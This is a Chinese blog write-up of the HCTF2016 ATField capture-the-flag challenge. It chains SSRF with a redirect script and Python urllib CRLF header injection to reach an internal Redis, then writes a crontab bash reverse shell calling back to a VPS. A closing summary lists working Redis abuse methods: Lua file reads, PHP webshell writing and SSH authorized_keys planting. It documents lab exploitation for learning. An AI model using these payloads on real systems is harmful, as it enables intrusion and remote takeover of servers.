HCTF2016 ATfeild复现和对redis的利用的思考

原创

Bendawang 于 2016-12-09 20:12:20 发布 3169 收藏

分类专栏： Web 文章标签： redis hctf2016 web writeup ssrf

这次HCTF最后没有时间做ATFEILD了，挺遗憾的，所以赛后看了看题解，想了想还是复现下把。另外我也简单总结了几个redis的常用的利用方式。写的比较简单，要是有什么问题希望各位菊苣不吝赐教。。

再另外千万不要用docker装centos7 。千万不要用docker装centos7 。千万不要用docker装centos7 。

官方wp：http://lorexxar.cn/2016/11/29/hctf2016-ATField/

0x01 HCTF2016 ATfeild 复现

准备两个docker加上本机加上vps

主机	ip	环境
本机	172.17.0.1	ubuntu 16.04
vps	104.160.43.154	ubuntu 14.04
docker 1	172.17.0.2	ubuntu 14.04 + python 2.7.6+ flask环境
docker 2	172.17.0.4	centos7 + tcl8.6.1+redis 3.2.6+crontab

其中docker 1即使是web服务器的角色，docker2即时与docker 1在同一内网的redis服务器。

1.1 环境搭建

> ps：万万不要用docker直接pull官方的centos7，存在bug，官方建议升级到7.2，不过个人建议用centos6比较好

关于centos上搭建redis，除了常用的一些软件，其他的话我个人的话比较喜欢用源码编译，这样比较便于以后的一些操作什么的。给个链接，对照着装就行了

http://www.centoscn.com/image-text/config/2014/0712/3285.html

centos装crontab直接yum命令就可以了

```
yum install crontabs
```

ubuntu下flask的环境安装这里给个`.sh`文件把

```
sudo pip install flask
sudo pip install flask-login
sudo pip install flask-openid
sudo pip install flask-mail
sudo pip install flask-sqlalchemy
sudo pip install sqlalchemy-migrate
sudo pip install flask-whooshalchemy
sudo pip install flask-wtf
sudo pip install flask-babel
sudo pip install flup
```

另外题目源码直接去github上dump下来就可以了。

https://github.com/LoRexxar/hctf2016_atfield

1.2 搞事情

环境搭好就可以搞事情了。

首先访问下页面，发现可以输入url，那么第一想到多半就是SSRF了，试了试发现127.0.0.1被过滤了，用xip.io就可以绕过了。这都不是问题，略过。

根据hint说是有nosql和crontab，那么我们尝试下常用的nosql，像是mongodb啊redis之类的常用端口，很容易就能发现172.17.0.4:6379存在redis服务。

好的找到redis服务位置才开始我们的重头戏——**通过python urllib header利用redis写crontab文件来反弹shell**

1.2.1 python urllib头注入 操作 redis

当然该漏洞的前提python版本为`python3 < 3.4.3 || python2 < 2.7.9`

做题之前我们先测试下

我们来看下面的代码：

```
#!/usr/bin/env python
# encoding: utf-8
import sys
import urllib2
url = sys.argv[1]
info = urllib2.urlopen(url)
```

然后保存在172.17.0.2的机器上开始测试，然后在172.17.0.4的机器上监听一下12345端口。

然后执行`python a.py http://172.17.0.4:12345/`

这是在172.17.0.4上接收到这样的信息

```
GET / HTTP/1.1
Accept-Encoding: identity
Host: 172.17.0.4:12345
Connection: close
User-Agent: Python-urllib/2.7
```

然后我们执行这样的命令`python a.py http://172.17.0.4%0d%0aset%20a%2012345%0d%0a:12345/`

收到如下信息：

```
GET / HTTP/1.1
Accept-Encoding: identity
Host: 172.17.0.4
set a 12345
:12345
Connection: close
User-Agent: Python-urllib/2.7
```

果然产生了http header的注入。

如果我们将端口号改为redis服务的默认端口6379，那么就相当于把上面的信息直接发给redis，而redis会把上面的信息全部认为是命令，然后逐行执行，当时前几行肯定会出错，但是其中的

`set a 12345`肯定能够正常执行。

执行`python a.py http://172.17.0.4%0d%0aset%20a%2012345%0d%0a:6379/`

发现已经成功往redis里面添加了一条记录。

1.2.2 ssrf 绕过与利用

我们现在已知服务器会访问我们发送的link的链接，但是link的链接被一定程度上做了限制。

这个时候经典的ssrf利用方式就是构造一个跳转。

我们在vps上放一个`302.php`如下：

```php
<?php
if(isset($_GET['url'])){
    $url= $_GET['url'];
    header("Location: $url");
}
else{
    echo 'Location: $url';
}
?>
```

然后本机向服务器发送如下请求：

```
curl -d "link=http://www.104.160.43.154.xip.io/302.php?url=XXXXXX" "http://172.17.0.2/show" -v -L
```

这样子我们就能肆意构造我们要访问的内网url，当服务器访问是会首先访问到我们vps上的`302.php`，然后跳转到我们构造的url上去。

1.2.3 构造反弹shell

通过`1.2.2`我们能够绕过过滤，在通过`1.2.1`我们能够构造payload写入信息redis，再加上提示说有`crontab`，这样我们就可以通过redis来写crontab文件然后反弹shell。

正常我们在bash下反弹shell是这样子的命令

```
/bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1
```

写成计划任务形式，即crontab文件形式

```
*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1
```

代表每分钟执行一次。具体写法google把。

通常来说我们在使用redis写文件一半写法如下：

```
set 11 "*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1"

config set dir /var/spool/cron

config set dbfilename root

save
```

但是这里不能这样写，因为redis直接这样子，字符串中的空格在传输的时候事没有办法解决的，用单引号也没有办法写入。但是这个时候可以换一种写法

```
（1） set 11 "\n*/1 * * * * /bin/bash -i >& /dev/tcp/104.160.43.154/12345 0>&1\n"

（2）如下：

-------------------------------------------------------------------------------------------------------

*3      //表示有三个参数
$3     //下面这个参数长度为3
set
$1     //下面这个参数长度为1
a
$64   //下面这个参数长度为64
\n*/1 * * * * /bin/bash -i >& /dev/tcp/104.160.43.154/12345 0>&1\n
-------------------------------------------------------------------------------------------------------
```

这里`\n`在传输的时候替换成%0a，所以我们要传入的明文子串如下：

```
link=http://www.104.160.43.154.xip.io/302.php?url=http://172.17.0.4

*3
$3
set
$1
a
$64

*/1 * * * * /bin/bash -i >& /dev/tcp/104.160.43.154/12345 0>&1

config set dir /var/spool/cron
config set dbfilename root
save
:6379/
```

然后进行url编码，这里对换行符进行url是%0a，但是我们需要的是%0d%0a，所以编码时候要手动替换下

编码后如下：

```
link=http%3A%2f%2fwww.104.160.43.154.xip.io%2f302.php%3Furl%3Dhttp%253A%252f%252f172.17.0.4%25250d%2525
```

在vps上监听12345端口之后，然后执行如下命令

```
curl -d "link=http%3A%2f%2fwww.104.160.43.154.xip.io%2f302.php%3Furl%3Dhttp%253A%252f%252f172.17.0.4%25
```

观察redis服务器如下图所示：

```
127.0.0.1:6379> randomkey
"a"
127.0.0.1:6379> get a
"\n*/1 * * * * /bin/bash -i >& /dev/tcp/104.160.43.154/12345 0>&1\n"
```

a已经写入了，再看`/var/spool/cron/root`文件

```
REDIS0007◆      redis-ver^E3.2.6◆
redis-bits◆@◆^Ectime◆~\`JX◆^Hused-mem◆h◆^L^@◆^@◆^A^@^@^Aa@@
*/1 * * * * /bin/bash -i >& /dev/tcp/104.160.43.154/12345 0>&1
◆◆^E◆◆^W^\&◆
~
```


果然我们的命令已经被放在了单独的一行里面。

这个时候vps上获得了shell如下图所示：

```
# bdw @ localhost in ~ [20:27:28]
$ nc -lvvp 12345
listening on [any] 12345 ...
Warning: forward host lookup failed for hn.kd.ny.adsl: Unknown host
connect to [104.160.43.154] from hn.kd.ny.adsl [218.29.102.113] 39146
bash: no job control in this shell
[root@48e722f1fc97 ~]# ls
ls
anaconda-ks.cfg
redis-stable
redis-stable.tar.gz
tcl8.6.1
tcl8.6.1-src.tar.gz
[root@48e722f1fc97 ~]#
```


这道题就到此结束

0x02 关于redis未授权访问的利用方式

首先在乌云知识库的`papers/3062`有比较详细的介绍，我这里也搜集了一下做了个简单的汇总。其实说到底redis利用还是写文件好用。

首先redis的安全策略如下：

```
1、每一行都要使用分隔符(CRLF)
2、一条命令用”*”开始，同时用数字作为参数，需要分隔符(“*1”+ CRLF)
3、我们有多个参数时：
      字符：以”$”开头+字符的长度（"$4"+CRLF）+字符串(“TIME”+CRLF)
      整数：以”:”开头+整数的ASCII码(“:42”+CRLF)
```

除了redis自带命令行有很多方式向redis输入命令，实际直接向6379端口发送命令就可以了。

如：

```
redis-cli set bendawang 'Bendawang'
```

等价的如：

```
echo -e  '*3\r\n$3\r\nSET\r\n$9\r\nbendawang\r\n$9\r\nBendawang\r\n' | nc 127.0.0.1 6379
```

再如：

```
echo -e  'Bendawang' | redis-cli -x set bendawang
```

当然如果是远程的，就将`redis-cli`换成`redis-cli -h host -p port`即可。

2.1 爆破键值

这个就不多说了，直接上字典爆破什么的。。。

2.2 eval执行命令

```
redis-cli EVAL "dofile('/etc/hosts')" 0 -h 172.17.0.4
```

```
(error) ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): @user_script:1: /etc/passwd:1: function arguments expected near ':'
root@a8afb5be34a5:/# redis-cli EVAL "dofile('/etc/hosts')" 0 -h 172.17.0.4
(error) ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): @user_script:1: /etc/hosts:1: malformed number near '127.0.0.1'
root@a8afb5be34a5:/# redis-cli EVAL "dofile('/etc/hosts')" 0 -h 172.17.0.4
(error) ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): @user_script:1: /etc/hosts:1: malformed number near '127.0.0.1'
root@a8afb5be34a5:/# redis-cli EVAL "dofile('/etc/hostname')" 0 -h 172.17.0.4
(error) ERR Error running script (call to f_6e962f862e2cba1e15a96080969054e4f8f9aa04): @user_script:1: /etc/hostname:2: '=' expected near '<eof>'
root@a8afb5be34a5:/# redis-cli EVAL "dofile('/etc/profile')" 0 -h 172.17.0.4
(error) ERR Error running script (call to f_134db4da4781c4dc9ce2a919b2eb1250e66adc7a): @user_script:1: /etc/profile:2: unexpected symbol near '#'
```


能获取到部分鸡肋信息把。

然后也可以执行lua命令，但是我们一把来说不会对redis数据库内部的东西感兴趣，如果感兴趣直接randomkey看就可以了。

当然也可以利用服务器的`redis.sha1hex()`在他的机器上暴力跑sha-1。

不过我们有更好的利用方式。这里也就不多说了。

2.3 写webshell

网上查到p神发的文章

https://www.secpulse.com/archives/5357.html

这里需要注意的是，如果是在`ubuntu`系统下，全版本的系统写出来的文件都是`660`的权限，即通过web服务器事没有办法访问的

但是`centos6`和`centos7`写出来的权限是`644`，即服务器可以访问，可以写webshell。

另外注意是找那些猜想是777权限的目录写webshell，不然权限问题写不了。

如下：

```
config set dir /var/www/html/        //这里需要服务器绝对路径，可以根据服务器类型判断然后猜测常用的路径

config set dbfilename bdw.php

set a "<?php phpinfo();?>"

sava    //也可以bgsave
```

```
redis 127.0.0.1:6379> config set dir /home/website/default/data
OK
redis 127.0.0.1:6379> config set dbfilename a.php
OK
redis 127.0.0.1:6379> set a "\n <?php phpinfo();?> \n"
OK
redis 127.0.0.1:6379> save
OK
```


如下所示：

REDIS0002a

PHP Version 5.6.27

System	Linux 3085c28c8766 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC 2016 x86_64
Build Date	Oct 15 2016 21:34:51
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc
Loaded Configuration File	/etc/php.ini
Scan this dir for additional .ini files	/etc/php.d
Additional .ini files parsed	/etc/php.d/bz2.ini, /etc/php.d/calendar.ini, /etc/php.d/ctype.ini, /etc/php.d/curl.ini, /etc/php.d/dom.ini, /etc/php.d/exif.ini, /etc/php.d/fileinfo.ini, /etc/php.d/ftp.ini, /etc/php.d/gd.ini, /etc/php.d/gettext.ini, /etc/php.d/gmp.ini, /etc/php.d/iconv.ini, /etc/php.d/imagick.ini, /etc/php.d/json.ini, /etc/php.d/mbstring.ini, /etc/php.d/mcrypt.ini, /etc/php.d/memcache.ini, /etc/php.d/mssql.ini, /etc/php.d/mysql.ini, /etc/php.d/mysqli.ini, /etc/php.d/opcache.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_dblib.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini, /etc/php.d/phar.ini, /etc/php.d/posix.ini, /etc/php.d/shmop.ini, /etc/php.d/simplexml.ini, /etc/php.d/sockets.ini, /etc/php.d/sqlite3.ini, /etc/php.d/sysvmsg.ini, /etc/php.d/sysvsem.ini, /etc/php.d/sysvshm.ini, /etc/php.d/tokenizer.ini, /etc/php.d/xml.ini, /etc/php.d/xml_wddx.ini, /etc/php.d/xmlreader.ini, /etc/php.d/xmlwriter.ini, /etc/php.d/xsl.ini, /etc/php.d/zip.ini
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226
Zend Extension Build	API220131226,NTS
PHP Extension Build	API20131226,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	enabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, compress.bzip2, phar, zip
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, sslv3, sslv2, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, bzip2.*,

2.4 写入crontab反弹shell

之前介绍了，这里不多说了

```
redis-cli flushall

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口 0>&1\n\n" | redis-cli -x set 1

redis-cli config set dir /var/spool/cron/

redis-cli config set dbfilename root

redis-cli save
```

2.5 配合写ssh key，免密登陆

这个的概率应该比较小吧。。

原理是一样的

```
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "这里写你的id_rsa.pub的值"

save
```

然后直接通过ssh连上去就行了。

估计基本上在第一句就会遭遇权限问题吧。。。毕竟/root一般都是`700`或是`740`或是`750`吧。